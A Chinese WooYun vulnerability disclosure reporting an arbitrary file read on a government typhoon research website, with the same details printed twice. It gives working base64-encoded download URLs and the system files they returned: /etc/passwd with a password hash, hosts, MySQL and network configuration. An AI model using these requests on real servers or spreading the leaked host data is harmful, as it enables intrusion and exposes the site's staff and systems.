当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113931

漏洞标题:国家973计划项目某网站任意文件读取漏洞(利用POC需经过一次转换)

相关厂商:国家973计划项目

漏洞作者: PyNerd

提交时间:2015-05-13 17:02

修复时间:2015-07-01 19:02

公开时间:2015-07-01 19:02

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-13: 细节已通知厂商并且等待厂商处理中
2015-05-17: 厂商已经确认,细节仅向厂商公开
2015-05-27: 细节向核心白帽子及相关领域专家公开
2015-06-06: 细节向普通白帽子公开
2015-06-16: 细节向实习白帽子公开
2015-07-01: 细节向公众公开

简要描述:

gov

详细说明:

任意文件读取,不过与wooyun里很多例子不同,这个站点需要使用了base64编码文件名,于是上我大py批量撸之.....
http://973.typhoon.gov.cn/down.php?f=L2V0Yy9wYXNzd2Q=

gov.png


[+] http://973.typhoon.gov.cn/down.php?f=L2V0Yy9wYXNzd2Q=
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/mega/ftp/ftp/pub/:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www/html:/sbin/nologin
#squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/www/usage:/sbin/nologin
#xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
#htt:x:100:101:IIIMF Htt:/usr/lib/im:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
#named:x:25:25:Named:/var/named:/bin/bash
#ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false
#temp:x:65530:65530:Remote User:/tmp:/etc/telnet.remote
#webadm:x:49:100::/array:/sbin/nologin
cactiuser:x:516:100::/tmp:/bin/bash
##
## UNKNOWN ACCOUNT close 2012.08.09
#guest:x:518:518::/ftp/guest:/sbin/nologin
##
## FOR TYPHOON FUND
tfjj:x:520:521::/array/ftp/tfjj:/sbin/nologin
##
## FOR LIYONGPING OPERATION
wave:x:519:520::/array/wave/:/sbin/nologin
wave1:x:519:520::/array/wave_ftp/:/sbin/nologin
mvip:x:521:520::/array/wavevip:/sbin/nologin
mhvip:x:521:520::/array/wavevip:/sbin/nologin
vip:x:522:520::/array/wavevip:/sbin/nologin
##
## FOR TYPHOON WEBSITE UPLOAD BEFORE
#uploader:x:523:50::/array/ftp/downloader:/sbin/nologin
#downloader:x:524:50::/array/ftp/downloader:/sbin/nologin
##
## ASSEMBLE FORECAST IN AREA CENTER BEFORE close 2012.08.09
#jhah:x:527:528::/array/ftp/jhyb:/sbin/nologin
#jhjx:x:528:528::/array/ftp/jhyb:/sbin/nologin
#jhsh:x:529:528::/array/ftp/jhyb:/sbin/nologin
#jhzj:MQSX8u3OXu6nA:530:528::/array/ftp/jhyb:/sbin/nologin
#jhsd:x:531:528::/array/ftp/jhyb:/sbin/nologin
#jhjs:x:531:528::/array/ftp/jhyb:/sbin/nologin
#jhfj:x:531:528::/array/ftp/jhyb:/sbin/nologin
##
## FOR HUANGWEI PERSON FTP ACCOUNT close 2012.08.09
huangw:x:525:526::/array/users/huangw:/sbin/nologin
## FOR BAODE PERSON FTP ACCOUNT close 2012.08.09
baode:x:14:50::/mega/ftp/ftp/pub/baode:/sbin/nologin
## FOR YANGQIUZHEN PERSON FTP ACCOUNT close 2012.08.09
#yangqz:x:533:533::/array/ftp/yangqz:/sbin/nologin
## FOR YANGKAI PERSON FTP ACCOUNT close 2012.08.09
#yangk:x:534:100::/array/ftp/yangk:/sbin/nologin
## FOR BAILINA PERSON FTP ACCOUNT close 2012.08.09
#bailn:x:534:100::/array/ftp/bailn:/sbin/nologin
## FOR YUHUI PERSON FTP ACCOUNT
yuhui:x:535:48::/array/ftp/yuhui:/sbin/nologin
## FOR YANGYUHUA PERSON FTP ACCOUNT
yangyh:x:539:539::/home/yangyh:/sbin/nologin
## FOR WANGXF PERSON FTP ACCOUNT
wangxf:x:65534:65534::/array/users/wangxf:/sbin/nologin
## FOR BAOXW PERSON FTP ACCOUNT
baoxw:x:65534:65534::/array/users/baoxw:/sbin/nologin
## FOR TANGJIE PERSON FTP ACCOUNT
tangj:x:1023:99::/array/users/tangj:/sbin/nologin
## FOR TANYAN PERSON FTP ACCOUNT
tany:x:1025:50::/home/tany:/sbin/nologin
##
## FOR GRAPES_TCM PROJECT FTP ACCOUNT
grapestcm:x:1024:1029::/home/grapes_tcm:/sbin/nologin
grapes:x:1026:1029::/home/grapes_tcm:/sbin/nologin
##
##
## WEBSITE UPLOAD PICTURES , NOW NO USED closed 2012.08.09
yuh:x:535:48::/array/pictures/cloud/fcst:/sbin/nologin
#cloud:x:48:48::/array/pictures/cloud/fy2:/sbin/nologin
##
## SYSTEM OF LDM , only for test close 2012.08.09
#ldm:x:536:536::/home/ldm:/bin/bash
##
## FOR TIGGE DATA TRANSLATE , baode apply
tigge:x:538:538::/home/tigge:/sbin/nologin
##
## WEBSITE FOR 973 project
tfs973:x:541:100::/array/973.typhoon.gov.cn:/sbin/nologin
# UNKNOW ACCOUNT close 2012.08.09
#15TC:x:543:543::/home/15TC:/sbin/nologin
##
# WEBSITE CLOUD IMAGE close 2012.08.09
#yingm:x:544:100::/array/pictures/cloud:/sbin/nologin
#chenpy:x:48:48::/array/pictures/rain/fy2c:/sbin/nologin
##
tlfdp:x:48:48::/array/tlfdp.typhoon.gov.cn:/sbin/nologin
nagios:x:545:546::/usr/local/nagios:/bin/bash
## YINGMING
expertteam:x:1021:1021::/array/vsftpuser/expertteam:/sbin/nologin
#gfsdata:x:1022:1028::/home/gfsdata:/sbin/nologin
#yiny:x:1027:100::/home/yiny:/bin/bash
zhoux:x:1028:50::/mega/ftp/ftp/pub/WMO:/sbin/nologin
#data:x:1029:1031::/mega/data:/sbin/nologin
test1:x:1029:1032::/mega/ftp/ftp/users/test1:/sbin/nologin
[+] http://973.typhoon.gov.cn/down.php?f=L2V0Yy9ob3N0cw==
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1 webserver localhost.localdomain localhost
::1 localhost6.localdomain6 localhost6
192.168.0.254 GATEWAY
192.168.0.222 tlfdp.typhoon.gov.cn
129.6.15.28 time-a.nist.gov
[+] http://973.typhoon.gov.cn/down.php?f=L2V0Yy9pc3N1ZQ==
******************************************************************************
* Copyright (c) 2008-2017 SHANGHAI TYPHOON INSTITUTE All rights reserved. *
* Without the owner's prior written consent, *
* no decompiling or reverse-engineering shall be allowed. *
******************************************************************************
[+] http://973.typhoon.gov.cn/down.php?f=L2V0Yy9teS5jbmY=
[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
user=mysql
# Default to using old password format for compatibility with mysql 3.x
# clients (those using the mysqlclient10 compatibility package).
old_passwords=1
[mysqld_safe]
log-error=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid
[+] http://973.typhoon.gov.cn/down.php?f=L2V0Yy9zeXNjb25maWcvbmV0d29yay1zY3JpcHRzL2lmY2ZnLWV0aDA=
# Broadcom Corporation NetXtreme BCM5722 Gigabit Ethernet PCI Express
DEVICE=eth0
BOOTPROTO=static
BROADCAST=192.168.0.255
HWADDR=00:1A:64:BF:1B:A9
IPADDR=192.168.0.222
NETMASK=255.255.255.0
NETWORK=192.168.0.0
ONBOOT=yes

漏洞证明:

任意文件读取,不过与wooyun里很多例子不同,这个站点需要使用了base64编码文件名,于是上我大py批量撸之.....
http://973.typhoon.gov.cn/down.php?f=L2V0Yy9wYXNzd2Q=

gov.png


[+] http://973.typhoon.gov.cn/down.php?f=L2V0Yy9wYXNzd2Q=
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/mega/ftp/ftp/pub/:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www/html:/sbin/nologin
#squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/www/usage:/sbin/nologin
#xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
#htt:x:100:101:IIIMF Htt:/usr/lib/im:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
#named:x:25:25:Named:/var/named:/bin/bash
#ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false
#temp:x:65530:65530:Remote User:/tmp:/etc/telnet.remote
#webadm:x:49:100::/array:/sbin/nologin
cactiuser:x:516:100::/tmp:/bin/bash
##
## UNKNOWN ACCOUNT close 2012.08.09
#guest:x:518:518::/ftp/guest:/sbin/nologin
##
## FOR TYPHOON FUND
tfjj:x:520:521::/array/ftp/tfjj:/sbin/nologin
##
## FOR LIYONGPING OPERATION
wave:x:519:520::/array/wave/:/sbin/nologin
wave1:x:519:520::/array/wave_ftp/:/sbin/nologin
mvip:x:521:520::/array/wavevip:/sbin/nologin
mhvip:x:521:520::/array/wavevip:/sbin/nologin
vip:x:522:520::/array/wavevip:/sbin/nologin
##
## FOR TYPHOON WEBSITE UPLOAD BEFORE
#uploader:x:523:50::/array/ftp/downloader:/sbin/nologin
#downloader:x:524:50::/array/ftp/downloader:/sbin/nologin
##
## ASSEMBLE FORECAST IN AREA CENTER BEFORE close 2012.08.09
#jhah:x:527:528::/array/ftp/jhyb:/sbin/nologin
#jhjx:x:528:528::/array/ftp/jhyb:/sbin/nologin
#jhsh:x:529:528::/array/ftp/jhyb:/sbin/nologin
#jhzj:MQSX8u3OXu6nA:530:528::/array/ftp/jhyb:/sbin/nologin
#jhsd:x:531:528::/array/ftp/jhyb:/sbin/nologin
#jhjs:x:531:528::/array/ftp/jhyb:/sbin/nologin
#jhfj:x:531:528::/array/ftp/jhyb:/sbin/nologin
##
## FOR HUANGWEI PERSON FTP ACCOUNT close 2012.08.09
huangw:x:525:526::/array/users/huangw:/sbin/nologin
## FOR BAODE PERSON FTP ACCOUNT close 2012.08.09
baode:x:14:50::/mega/ftp/ftp/pub/baode:/sbin/nologin
## FOR YANGQIUZHEN PERSON FTP ACCOUNT close 2012.08.09
#yangqz:x:533:533::/array/ftp/yangqz:/sbin/nologin
## FOR YANGKAI PERSON FTP ACCOUNT close 2012.08.09
#yangk:x:534:100::/array/ftp/yangk:/sbin/nologin
## FOR BAILINA PERSON FTP ACCOUNT close 2012.08.09
#bailn:x:534:100::/array/ftp/bailn:/sbin/nologin
## FOR YUHUI PERSON FTP ACCOUNT
yuhui:x:535:48::/array/ftp/yuhui:/sbin/nologin
## FOR YANGYUHUA PERSON FTP ACCOUNT
yangyh:x:539:539::/home/yangyh:/sbin/nologin
## FOR WANGXF PERSON FTP ACCOUNT
wangxf:x:65534:65534::/array/users/wangxf:/sbin/nologin
## FOR BAOXW PERSON FTP ACCOUNT
baoxw:x:65534:65534::/array/users/baoxw:/sbin/nologin
## FOR TANGJIE PERSON FTP ACCOUNT
tangj:x:1023:99::/array/users/tangj:/sbin/nologin
## FOR TANYAN PERSON FTP ACCOUNT
tany:x:1025:50::/home/tany:/sbin/nologin
##
## FOR GRAPES_TCM PROJECT FTP ACCOUNT
grapestcm:x:1024:1029::/home/grapes_tcm:/sbin/nologin
grapes:x:1026:1029::/home/grapes_tcm:/sbin/nologin
##
##
## WEBSITE UPLOAD PICTURES , NOW NO USED closed 2012.08.09
yuh:x:535:48::/array/pictures/cloud/fcst:/sbin/nologin
#cloud:x:48:48::/array/pictures/cloud/fy2:/sbin/nologin
##
## SYSTEM OF LDM , only for test close 2012.08.09
#ldm:x:536:536::/home/ldm:/bin/bash
##
## FOR TIGGE DATA TRANSLATE , baode apply
tigge:x:538:538::/home/tigge:/sbin/nologin
##
## WEBSITE FOR 973 project
tfs973:x:541:100::/array/973.typhoon.gov.cn:/sbin/nologin
# UNKNOW ACCOUNT close 2012.08.09
#15TC:x:543:543::/home/15TC:/sbin/nologin
##
# WEBSITE CLOUD IMAGE close 2012.08.09
#yingm:x:544:100::/array/pictures/cloud:/sbin/nologin
#chenpy:x:48:48::/array/pictures/rain/fy2c:/sbin/nologin
##
tlfdp:x:48:48::/array/tlfdp.typhoon.gov.cn:/sbin/nologin
nagios:x:545:546::/usr/local/nagios:/bin/bash
## YINGMING
expertteam:x:1021:1021::/array/vsftpuser/expertteam:/sbin/nologin
#gfsdata:x:1022:1028::/home/gfsdata:/sbin/nologin
#yiny:x:1027:100::/home/yiny:/bin/bash
zhoux:x:1028:50::/mega/ftp/ftp/pub/WMO:/sbin/nologin
#data:x:1029:1031::/mega/data:/sbin/nologin
test1:x:1029:1032::/mega/ftp/ftp/users/test1:/sbin/nologin
[+] http://973.typhoon.gov.cn/down.php?f=L2V0Yy9ob3N0cw==
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1 webserver localhost.localdomain localhost
::1 localhost6.localdomain6 localhost6
192.168.0.254 GATEWAY
192.168.0.222 tlfdp.typhoon.gov.cn
129.6.15.28 time-a.nist.gov
[+] http://973.typhoon.gov.cn/down.php?f=L2V0Yy9pc3N1ZQ==
******************************************************************************
* Copyright (c) 2008-2017 SHANGHAI TYPHOON INSTITUTE All rights reserved. *
* Without the owner's prior written consent, *
* no decompiling or reverse-engineering shall be allowed. *
******************************************************************************
[+] http://973.typhoon.gov.cn/down.php?f=L2V0Yy9teS5jbmY=
[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
user=mysql
# Default to using old password format for compatibility with mysql 3.x
# clients (those using the mysqlclient10 compatibility package).
old_passwords=1
[mysqld_safe]
log-error=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid
[+] http://973.typhoon.gov.cn/down.php?f=L2V0Yy9zeXNjb25maWcvbmV0d29yay1zY3JpcHRzL2lmY2ZnLWV0aDA=
# Broadcom Corporation NetXtreme BCM5722 Gigabit Ethernet PCI Express
DEVICE=eth0
BOOTPROTO=static
BROADCAST=192.168.0.255
HWADDR=00:1A:64:BF:1B:A9
IPADDR=192.168.0.222
NETMASK=255.255.255.0
NETWORK=192.168.0.0
ONBOOT=yes

修复方案:

过滤 or waf

版权声明:转载请注明来源 PyNerd@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-05-17 19:00

厂商回复:

已经由CNVD通过网站公开联系方式(或以往建立的处置渠道)向网站管理单位(软件生产厂商)通报。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-13 17:02 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    如果我没看错这是个自己写的扫描器?

  2. 2015-05-13 17:07 | PyNerd ( 普通白帽子 | Rank:156 漏洞数:28 | Just for shell.)

    @疯狗 是呀,求狗哥带我,小弟在此献上膝盖...

  3. 2015-05-13 17:09 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @PyNerd 我们互换膝盖吧,这个挺有趣的,还有其他好玩的么:)

  4. 2015-05-13 17:09 | Fire ant ( 实习白帽子 | Rank:73 漏洞数:26 | 他们回来了................)

    0.0膜拜楼上

  5. 2015-05-13 17:18 | PyNerd ( 普通白帽子 | Rank:156 漏洞数:28 | Just for shell.)

    @疯狗 狗哥觉得什么好玩0.0

  6. 2015-05-13 17:27 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @PyNerd 就像这种漏洞,不走寻常路的

  7. 2015-05-13 17:38 | PyNerd ( 普通白帽子 | Rank:156 漏洞数:28 | Just for shell.)

    @疯狗 必须有呀,不按套路出牌的不少

  8. 2015-05-13 18:20 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @PyNerd 来,膝盖换漏洞 :P

  9. 2015-05-13 18:33 | PyNerd ( 普通白帽子 | Rank:156 漏洞数:28 | Just for shell.)

    @疯狗 先说带我不?

  10. 2015-05-13 18:34 | wwek ( 路人 | Rank:0 漏洞数:1 | 互联网的一只小鱼)

    你们在搞基么`

  11. 2015-05-13 18:49 | PyNerd ( 普通白帽子 | Rank:156 漏洞数:28 | Just for shell.)

    @wwek 约吗?

  12. 2015-05-14 08:22 | Fire ant ( 实习白帽子 | Rank:73 漏洞数:26 | 他们回来了................)

    约不约

  13. 2015-07-01 22:10 | PyNerd ( 普通白帽子 | Rank:156 漏洞数:28 | Just for shell.)

    @Fire ant 约